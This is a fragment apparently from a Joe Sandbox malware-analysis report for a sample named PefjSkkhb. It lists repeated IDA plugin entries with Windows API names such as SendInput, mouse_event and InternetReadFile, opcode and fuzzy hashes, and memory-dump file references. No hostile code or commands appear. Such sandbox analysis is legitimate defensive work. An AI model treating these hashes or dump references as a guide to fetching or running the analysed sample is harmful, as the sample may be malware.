                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ExceptionRaise_clrfp
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 15204871-0
                                                                                                                                                                            • Opcode ID: 2c887139cc1f69395780bda7c312862f1bbc48349006177215bd8e385e5acab5
                                                                                                                                                                            • Instruction ID: 9e50e43150cfd7d9b07e022d6545d40b485cd9fc2863636dd4606a4808f5af82
                                                                                                                                                                            • Opcode Fuzzy Hash: 2c887139cc1f69395780bda7c312862f1bbc48349006177215bd8e385e5acab5
                                                                                                                                                                            • Instruction Fuzzy Hash: D4B14B73604B85CAEB25CF29C8453A83BA0F745B8CF158962DB5D877A9CF39D451C700
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Find$CloseFileFirst
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2295610775-0
                                                                                                                                                                            • Opcode ID: c9c219a70f1c370a867d1a9527945e6bdb48ca94d3a7acfc6404a472547bc866
                                                                                                                                                                            • Instruction ID: 5acb1a96227ee5fcd6518550640e4cea300dbafa70a8f180a45289dbe9c3eb5a
                                                                                                                                                                            • Opcode Fuzzy Hash: c9c219a70f1c370a867d1a9527945e6bdb48ca94d3a7acfc6404a472547bc866
                                                                                                                                                                            • Instruction Fuzzy Hash: E5114C72B0874182DB24DF2AE0843687760FB89BE0F158671DB6D87799CF7CD4518740
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ErrorFormatLastMessage
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3479602957-0
                                                                                                                                                                            • Opcode ID: a2008fc71fb315c0dad007a4b51d1fe3c27baf42b183b088b3737ee8cb1df6e2
                                                                                                                                                                            • Instruction ID: 0fc4f5c6144a0d3ea53b6027b98712a43f29349844c60c4be9433e1a1aea22d6
                                                                                                                                                                            • Opcode Fuzzy Hash: a2008fc71fb315c0dad007a4b51d1fe3c27baf42b183b088b3737ee8cb1df6e2
                                                                                                                                                                            • Instruction Fuzzy Hash: CFF0C83171864252E7305F15F80166AA6A5FFCA7D4F545134EB9D83B9DDE3CC0048B00
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: a/p$am/pm
                                                                                                                                                                            • API String ID: 0-3206640213
                                                                                                                                                                            • Opcode ID: 7b3f4c1adbce48e9712f7f101c5ec161db5e41a840f2bf09c06579e081aceba8
                                                                                                                                                                            • Instruction ID: 1fdd633d4fc5202192beac3a562efd94f214f0760d5645c7d37ca05bac6bc251
                                                                                                                                                                            • Opcode Fuzzy Hash: 7b3f4c1adbce48e9712f7f101c5ec161db5e41a840f2bf09c06579e081aceba8
                                                                                                                                                                            • Instruction Fuzzy Hash: 9CE19C32A1965286EB748F2881556B923A5FF437C0F5581B2EA5EC6EDCEF3DE950C300
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _invalid_parameter_noinfo
                                                                                                                                                                            • String ID: 0$0x%p
                                                                                                                                                                            • API String ID: 3215553584-2479247192
                                                                                                                                                                            • Opcode ID: 2cf1ea9a671600e4e0a2c177b28b5012e25eeeeabff85c4abdd8ee56160d1f52
                                                                                                                                                                            • Instruction ID: ff3866099b003a8e7ea4b7eff2f1ea1e27eb0a60240a86031d32d77adca7cc3b
                                                                                                                                                                            • Opcode Fuzzy Hash: 2cf1ea9a671600e4e0a2c177b28b5012e25eeeeabff85c4abdd8ee56160d1f52
                                                                                                                                                                            • Instruction Fuzzy Hash: FD81BF32A1824246EAB88F25C44167D3390EF46BE4F5425B1DF0AC7A9DCF2FFA469740
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: no error
                                                                                                                                                                            • API String ID: 0-1106124726
                                                                                                                                                                            • Opcode ID: daf22cd7e491b1831c7a4d7ece73bd53412841c2595e7b00d29937dbea50e64a
                                                                                                                                                                            • Instruction ID: b9e5bc9f7e9e8b0af69f8772d266cb981f8e84aec5d8c3f4440c2f522bf19226
                                                                                                                                                                            • Opcode Fuzzy Hash: daf22cd7e491b1831c7a4d7ece73bd53412841c2595e7b00d29937dbea50e64a
                                                                                                                                                                            • Instruction Fuzzy Hash: CA128A72A087918AE734DF65E4402AD73B5FB09798B508136EB8E97B98DF38E940C740
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: FileInternetRead_invalid_parameter_noinfo
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 101623796-0
                                                                                                                                                                            • Opcode ID: c3326f14f3a704366430a438f9a2af4b616e46cbc6777093e0014b63cfdf3a9b
                                                                                                                                                                            • Instruction ID: 42b817a030e94b7e482df5661a66ec0331608aeb46e08c524c798217d7d612ae
                                                                                                                                                                            • Opcode Fuzzy Hash: c3326f14f3a704366430a438f9a2af4b616e46cbc6777093e0014b63cfdf3a9b
                                                                                                                                                                            • Instruction Fuzzy Hash: 0B216232B0869286FB74DF15A4507A92360FB86BC5F8891B5DA8C87B8DDF7CE501CB44
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: InputSend
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3431551938-0
                                                                                                                                                                            • Opcode ID: f56fcc02370cedd2e246ff2304cc88798786294839e2fbad01620a5262f8ee40
                                                                                                                                                                            • Instruction ID: 4c6e0c4ebd4f73f5d6def7b324d1431437114a48e4483c5202559dee24d04dfe
                                                                                                                                                                            • Opcode Fuzzy Hash: f56fcc02370cedd2e246ff2304cc88798786294839e2fbad01620a5262f8ee40
                                                                                                                                                                            • Instruction Fuzzy Hash: D4F09A76918680C6D3308F15A44076A77A0FB59B89F406119EA8987B68CF3EC10A9F04
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: mouse_event
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2434400541-0
                                                                                                                                                                            • Opcode ID: d8d6f02688d8abf5cd4837f0aea5b825f774ed0048ed251121670875c750f025
                                                                                                                                                                            • Instruction ID: 3d862e866856772b300614f6983210b8d0465738b41e8184c0714f3f4072c232
                                                                                                                                                                            • Opcode Fuzzy Hash: d8d6f02688d8abf5cd4837f0aea5b825f774ed0048ed251121670875c750f025
                                                                                                                                                                            • Instruction Fuzzy Hash: B0E01A75E0C04392F2781F3955AA7361741FBD3380E9411B5DF49CAADCCD9DB605A514
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _invalid_parameter_noinfo
                                                                                                                                                                            • String ID: 0
                                                                                                                                                                            • API String ID: 3215553584-4108050209
                                                                                                                                                                            • Opcode ID: e36cd3313365073150127e4babc7a8598c5f16c08797db25288978382bee99ce
                                                                                                                                                                            • Instruction ID: a1da8fe3f86cd01b266f070ba3b40c417a29bf86b6d4430e64413dd3deb02cce
                                                                                                                                                                            • Opcode Fuzzy Hash: e36cd3313365073150127e4babc7a8598c5f16c08797db25288978382bee99ce
                                                                                                                                                                            • Instruction Fuzzy Hash: E781CF32A1820246EAB88F65C04467E3392EF47BE4F5415B2DF09D769DCF2EFA469740
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _invalid_parameter_noinfo
                                                                                                                                                                            • String ID: 0
                                                                                                                                                                            • API String ID: 3215553584-4108050209
                                                                                                                                                                            • Opcode ID: 1b448239c859d57582f3fa817e0dbfe1db0dd889c5120d72b994c6c156eeceba
                                                                                                                                                                            • Instruction ID: d501b6635b4bd0c2f91faf1271da78a927c5a7d46500e37ed07027a249d5c73e
                                                                                                                                                                            • Opcode Fuzzy Hash: 1b448239c859d57582f3fa817e0dbfe1db0dd889c5120d72b994c6c156eeceba
                                                                                                                                                                            • Instruction Fuzzy Hash: 5C71B731A0C68246EA789F25905027E77A0EF437E4F2415B5DF08C76EDDE2EFA458B41
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: @
                                                                                                                                                                            • API String ID: 0-2766056989
                                                                                                                                                                            • Opcode ID: 16c5ff97d355010ed637a1ec5e52f006fc41d4859a4220ae5f264295bc75ec93
                                                                                                                                                                            • Instruction ID: 94873153eb2caa4645ff94a6287dce6a12b1088f44115b4c8126788dc0e372b1
                                                                                                                                                                            • Opcode Fuzzy Hash: 16c5ff97d355010ed637a1ec5e52f006fc41d4859a4220ae5f264295bc75ec93
                                                                                                                                                                            • Instruction Fuzzy Hash: 94419F72714B458AEB54CF2AD8152A973A1FB49FD0B49A036DE0D87B98EE3CD446C300
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: a4b43b05b4d174de04649b256e334c2e39119974175c185e79b62e938d94deaa
                                                                                                                                                                            • Instruction ID: 4ca99715fe5283f800752acbcd2d6519f88f006644cb1eb276c9c55bea7af519
                                                                                                                                                                            • Opcode Fuzzy Hash: a4b43b05b4d174de04649b256e334c2e39119974175c185e79b62e938d94deaa
                                                                                                                                                                            • Instruction Fuzzy Hash: 5952AE32A0C64686EA78DF25E09867D33A6EF17BC5F1945B6DA5EC7689CE3CE440C340
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Concurrency::cancel_current_task
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 118556049-0
                                                                                                                                                                            • Opcode ID: 2061a73cd3945fd94bedb99b3c789b7b4d50ac3471b691a7c242155b28bb0c52
                                                                                                                                                                            • Instruction ID: eff8348e16cafa3aa3fb69b2062974332125e79b614ae3b55ab5231380a6d2ef
                                                                                                                                                                            • Opcode Fuzzy Hash: 2061a73cd3945fd94bedb99b3c789b7b4d50ac3471b691a7c242155b28bb0c52
                                                                                                                                                                            • Instruction Fuzzy Hash: 29527972B08A428AEB20DF65D0542BD33A2EB86BE8F504275DF1DA77D9DE38E505D340
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: f1fe06b10e07b54366ff471c597b9079b0538ecbb90aa1f0cf57340e5c294d0c
                                                                                                                                                                            • Instruction ID: c5d19c1afcdd13ac9de1b38ea58b86602c9a27383c0eb6eb9bdd638eada73441
                                                                                                                                                                            • Opcode Fuzzy Hash: f1fe06b10e07b54366ff471c597b9079b0538ecbb90aa1f0cf57340e5c294d0c
                                                                                                                                                                            • Instruction Fuzzy Hash: 91427A32B08A828AEB20DF25D4902AD77A1FB867D8F604175EF5D87B99DF38E541D700
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 44e0bcb64cdb213a1ae13f0197e832722533c3c8cf9ea28823a7f9588fce5fb2
                                                                                                                                                                            • Instruction ID: c363f6a547c4c388ab609ac86266f31a09324602b974f6f5bb607ff69b134efc
                                                                                                                                                                            • Opcode Fuzzy Hash: 44e0bcb64cdb213a1ae13f0197e832722533c3c8cf9ea28823a7f9588fce5fb2
                                                                                                                                                                            • Instruction Fuzzy Hash: 9A42323592DE4A85E2639F35A8715366B24FF537C0F018373E80EF7A58EF2CA9469600
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: c2308bd2b59363eb380d9f2aadf6ae7fcc9e74111fd97fe2ff68e231cb56cb52
                                                                                                                                                                            • Instruction ID: 4afd11d32165a0c1a87adea376013975dd1575c564efa69361791ba72072cd79
                                                                                                                                                                            • Opcode Fuzzy Hash: c2308bd2b59363eb380d9f2aadf6ae7fcc9e74111fd97fe2ff68e231cb56cb52
                                                                                                                                                                            • Instruction Fuzzy Hash: 1721DE73B244058AEB18CF7AD8526A933A5E361748F08C17AD52B87688CE3CE905CB80
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: f4e4605b7b007d95894f61c83fec82003118576a017aad510c5c4214a882ee24
                                                                                                                                                                            • Instruction ID: 98f3c21182de06a88912349cfc3a9595894ccd9521497000434338d7941254e6
